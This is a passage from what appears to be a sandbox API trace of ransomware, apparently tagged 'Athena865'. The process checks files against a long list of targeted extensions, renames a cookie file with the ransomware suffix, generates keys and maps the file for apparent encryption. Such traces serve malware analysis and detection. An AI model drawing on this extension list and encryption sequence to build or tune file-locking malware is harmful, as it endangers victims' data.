lstrlenW (lpString=".ini") returned 4 [0050.214] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2=".ini") returned 1 [0050.214] lstrlenW (lpString=".sys") returned 4 [0050.214] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2=".sys") returned 1 [0050.214] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned 33 [0050.214] lstrlenW (lpString="bak") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0050.214] lstrlenW (lpString="ba_") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0050.214] lstrlenW (lpString="dbb") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0050.214] lstrlenW (lpString="vmdk") returned 4 [0050.214] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0050.214] lstrlenW (lpString="rar") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0050.214] lstrlenW (lpString="zip") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0050.214] lstrlenW (lpString="tgz") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0050.214] lstrlenW (lpString="vbox") returned 4 [0050.214] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0050.214] lstrlenW (lpString="vdi") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0050.214] lstrlenW (lpString="vhd") returned 3 [0050.214] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0050.215] lstrlenW (lpString="vhdx") returned 4 [0050.215] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0050.215] lstrlenW (lpString="avhd") returned 4 [0050.215] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0050.215] lstrlenW (lpString="db") returned 2 [0050.215] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0050.215] lstrlenW (lpString="db2") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0050.215] lstrlenW (lpString="db3") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0050.215] lstrlenW (lpString="dbf") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0050.215] lstrlenW (lpString="mdf") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0050.215] lstrlenW (lpString="mdb") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0050.215] lstrlenW (lpString="sql") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0050.215] lstrlenW (lpString="sqlite") returned 6 [0050.215] lstrcmpiW (lpString1="1].txt", lpString2="sqlite") returned -1 [0050.215] lstrlenW (lpString="sqlite3") returned 7 [0050.215] lstrcmpiW (lpString1="[1].txt", lpString2="sqlite3") returned -1 [0050.215] lstrlenW (lpString="sqlitedb") returned 8 [0050.215] lstrcmpiW (lpString1="4[1].txt", lpString2="sqlitedb") returned -1 [0050.215] lstrlenW (lpString="xml") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0050.215] lstrlenW (lpString="$er") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0050.215] lstrlenW (lpString="4dd") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0050.215] lstrlenW (lpString="4dl") returned 3 [0050.215] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0050.215] lstrlenW (lpString="^^^") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0050.216] lstrlenW (lpString="abs") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0050.216] lstrlenW (lpString="abx") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0050.216] lstrlenW (lpString="accdb") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accdb") returned -1 [0050.216] lstrlenW (lpString="accdc") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accdc") returned -1 [0050.216] lstrlenW (lpString="accde") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accde") returned -1 [0050.216] lstrlenW (lpString="accdr") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accdr") returned -1 [0050.216] lstrlenW (lpString="accdt") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accdt") returned -1 [0050.216] lstrlenW (lpString="accdw") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accdw") returned -1 [0050.216] lstrlenW (lpString="accft") returned 5 [0050.216] lstrcmpiW (lpString1="].txt", lpString2="accft") returned -1 [0050.216] lstrlenW (lpString="adb") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.216] lstrlenW (lpString="adb") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.216] lstrlenW (lpString="ade") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0050.216] lstrlenW (lpString="adf") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0050.216] lstrlenW (lpString="adn") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0050.216] lstrlenW (lpString="adp") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0050.216] lstrlenW (lpString="alf") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0050.216] lstrlenW (lpString="ask") returned 3 [0050.216] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0050.217] lstrlenW (lpString="btr") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0050.217] lstrlenW (lpString="cat") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0050.217] lstrlenW (lpString="cdb") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0050.217] lstrlenW (lpString="ckp") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0050.217] lstrlenW (lpString="cma") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0050.217] lstrlenW (lpString="cpd") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0050.217] lstrlenW (lpString="dacpac") returned 6 [0050.217] lstrcmpiW (lpString1="1].txt", lpString2="dacpac") returned -1 [0050.217] lstrlenW (lpString="dad") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0050.217] lstrlenW (lpString="dadiagrams") returned 10 [0050.217] lstrcmpiW (lpString1="314[1].txt", lpString2="dadiagrams") returned -1 [0050.217] lstrlenW (lpString="daschema") returned 8 [0050.217] lstrcmpiW (lpString1="4[1].txt", lpString2="daschema") returned -1 [0050.217] lstrlenW (lpString="db-journal") returned 10 [0050.217] lstrcmpiW (lpString1="314[1].txt", lpString2="db-journal") returned -1 [0050.217] lstrlenW (lpString="db-shm") returned 6 [0050.217] lstrcmpiW (lpString1="1].txt", lpString2="db-shm") returned -1 [0050.217] lstrlenW (lpString="db-wal") returned 6 [0050.217] lstrcmpiW (lpString1="1].txt", lpString2="db-wal") returned -1 [0050.217] lstrlenW (lpString="dbc") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0050.217] lstrlenW (lpString="dbs") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0050.217] lstrlenW (lpString="dbt") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0050.217] lstrlenW (lpString="dbv") returned 3 [0050.217] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0050.217] lstrlenW (lpString="dbx") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0050.218] lstrlenW (lpString="dcb") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0050.218] lstrlenW (lpString="dct") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0050.218] lstrlenW (lpString="dcx") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0050.218] lstrlenW (lpString="ddl") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0050.218] lstrlenW (lpString="dlis") returned 4 [0050.218] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0050.218] lstrlenW (lpString="dp1") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0050.218] lstrlenW (lpString="dqy") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0050.218] lstrlenW (lpString="dsk") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0050.218] lstrlenW (lpString="dsn") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0050.218] lstrlenW (lpString="dtsx") returned 4 [0050.218] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0050.218] lstrlenW (lpString="dxl") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0050.218] lstrlenW (lpString="eco") returned 3 [0050.218] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0050.218] lstrlenW (lpString="ecx") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0050.219] lstrlenW (lpString="edb") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0050.219] lstrlenW (lpString="epim") returned 4 [0050.219] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0050.219] lstrlenW (lpString="fcd") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0050.219] lstrlenW (lpString="fdb") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0050.219] lstrlenW (lpString="fic") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0050.219] lstrlenW (lpString="flexolibrary") returned 12 [0050.219] lstrcmpiW (lpString1="ml314[1].txt", lpString2="flexolibrary") returned 1 [0050.219] lstrlenW (lpString="fm5") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0050.219] lstrlenW (lpString="fmp") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0050.219] lstrlenW (lpString="fmp12") returned 5 [0050.219] lstrcmpiW (lpString1="].txt", lpString2="fmp12") returned -1 [0050.219] lstrlenW (lpString="fmpsl") returned 5 [0050.219] lstrcmpiW (lpString1="].txt", lpString2="fmpsl") returned -1 [0050.219] lstrlenW (lpString="fol") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0050.219] lstrlenW (lpString="fp3") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0050.219] lstrlenW (lpString="fp4") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0050.219] lstrlenW (lpString="fp5") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0050.219] lstrlenW (lpString="fp7") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0050.219] lstrlenW (lpString="fpt") returned 3 [0050.219] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0050.220] lstrlenW (lpString="frm") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0050.220] lstrlenW (lpString="gdb") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0050.220] lstrlenW (lpString="gdb") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0050.220] lstrlenW (lpString="grdb") returned 4 [0050.220] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0050.220] lstrlenW (lpString="gwi") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0050.220] lstrlenW (lpString="hdb") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0050.220] lstrlenW (lpString="his") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0050.220] lstrlenW (lpString="ib") returned 2 [0050.220] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0050.220] lstrlenW (lpString="idb") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0050.220] lstrlenW (lpString="ihx") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0050.220] lstrlenW (lpString="itdb") returned 4 [0050.220] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0050.220] lstrlenW (lpString="itw") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0050.220] lstrlenW (lpString="jet") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0050.220] lstrlenW (lpString="jtx") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0050.220] lstrlenW (lpString="kdb") returned 3 [0050.220] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0050.220] lstrlenW (lpString="kexi") returned 4 [0050.220] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0050.220] lstrlenW (lpString="kexic") returned 5 [0050.221] lstrcmpiW (lpString1="].txt", lpString2="kexic") returned -1 [0050.221] lstrlenW (lpString="kexis") returned 5 [0050.221] lstrcmpiW (lpString1="].txt", lpString2="kexis") returned -1 [0050.221] lstrlenW (lpString="lgc") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0050.221] lstrlenW (lpString="lwx") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0050.221] lstrlenW (lpString="maf") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0050.221] lstrlenW (lpString="maq") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0050.221] lstrlenW (lpString="mar") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0050.221] lstrlenW (lpString="marshal") returned 7 [0050.221] lstrcmpiW (lpString1="[1].txt", lpString2="marshal") returned -1 [0050.221] lstrlenW (lpString="mas") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0050.221] lstrlenW (lpString="mav") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0050.221] lstrlenW (lpString="maw") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0050.221] lstrlenW (lpString="mdbhtml") returned 7 [0050.221] lstrcmpiW (lpString1="[1].txt", lpString2="mdbhtml") returned -1 [0050.221] lstrlenW (lpString="mdn") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0050.221] lstrlenW (lpString="mdt") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0050.221] lstrlenW (lpString="mfd") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0050.221] lstrlenW (lpString="mpd") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0050.221] lstrlenW (lpString="mrg") returned 3 [0050.221] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0050.221] lstrlenW (lpString="mud") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0050.222] lstrlenW (lpString="mwb") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0050.222] lstrlenW (lpString="myd") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0050.222] lstrlenW (lpString="ndf") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0050.222] lstrlenW (lpString="nnt") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0050.222] lstrlenW (lpString="nrmlib") returned 6 [0050.222] lstrcmpiW (lpString1="1].txt", lpString2="nrmlib") returned -1 [0050.222] lstrlenW (lpString="ns2") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0050.222] lstrlenW (lpString="ns3") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0050.222] lstrlenW (lpString="ns4") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0050.222] lstrlenW (lpString="nsf") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0050.222] lstrlenW (lpString="nv") returned 2 [0050.222] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0050.222] lstrlenW (lpString="nv2") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0050.222] lstrlenW (lpString="nwdb") returned 4 [0050.222] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0050.222] lstrlenW (lpString="nyf") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0050.222] lstrlenW (lpString="odb") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0050.222] lstrlenW (lpString="odb") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0050.222] lstrlenW (lpString="oqy") returned 3 [0050.222] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0050.223] lstrlenW (lpString="ora") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0050.223] lstrlenW (lpString="orx") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0050.223] lstrlenW (lpString="owc") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0050.223] lstrlenW (lpString="p96") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0050.223] lstrlenW (lpString="p97") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0050.223] lstrlenW (lpString="pan") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0050.223] lstrlenW (lpString="pdb") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0050.223] lstrlenW (lpString="pdm") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0050.223] lstrlenW (lpString="pnz") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0050.223] lstrlenW (lpString="qry") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0050.223] lstrlenW (lpString="qvd") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0050.223] lstrlenW (lpString="rbf") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0050.223] lstrlenW (lpString="rctd") returned 4 [0050.223] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0050.223] lstrlenW (lpString="rod") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0050.223] lstrlenW (lpString="rodx") returned 4 [0050.223] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0050.223] lstrlenW (lpString="rpd") returned 3 [0050.223] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0050.223] lstrlenW (lpString="rsd") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0050.224] lstrlenW (lpString="sas7bdat") returned 8 [0050.224] lstrcmpiW (lpString1="4[1].txt", lpString2="sas7bdat") returned -1 [0050.224] lstrlenW (lpString="sbf") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0050.224] lstrlenW (lpString="scx") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0050.224] lstrlenW (lpString="sdb") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0050.224] lstrlenW (lpString="sdc") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0050.224] lstrlenW (lpString="sdf") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0050.224] lstrlenW (lpString="sis") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0050.224] lstrlenW (lpString="spq") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0050.224] lstrlenW (lpString="te") returned 2 [0050.224] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0050.224] lstrlenW (lpString="teacher") returned 7 [0050.224] lstrcmpiW (lpString1="[1].txt", lpString2="teacher") returned -1 [0050.224] lstrlenW (lpString="tmd") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0050.224] lstrlenW (lpString="tps") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0050.224] lstrlenW (lpString="trc") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0050.224] lstrlenW (lpString="trc") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0050.224] lstrlenW (lpString="trm") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0050.224] lstrlenW (lpString="udb") returned 3 [0050.224] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0050.225] lstrlenW (lpString="udl") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0050.225] lstrlenW (lpString="usr") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0050.225] lstrlenW (lpString="v12") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0050.225] lstrlenW (lpString="vis") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0050.225] lstrlenW (lpString="vpd") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0050.225] lstrlenW (lpString="vvv") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0050.225] lstrlenW (lpString="wdb") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0050.225] lstrlenW (lpString="wmdb") returned 4 [0050.225] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0050.225] lstrlenW (lpString="wrk") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0050.225] lstrlenW (lpString="xdb") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0050.225] lstrlenW (lpString="xld") returned 3 [0050.225] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0050.225] lstrlenW (lpString="xmlff") returned 5 [0050.225] lstrcmpiW (lpString1="].txt", lpString2="xmlff") returned -1 [0050.225] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865") returned 98 [0050.225] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.athena865"), dwFlags=0x1) returned 1 [0050.226] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.227] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=86) returned 1 [0050.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.227] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.228] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.228] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.228] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x154 [0050.230] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000 [0050.231] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.231] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.231] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.232] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.232] CloseHandle (hObject=0x154) returned 1 [0050.232] CloseHandle (hObject=0x17c) returned 1 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.233] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2=".") returned 1 [0050.233] lstrcmpiW 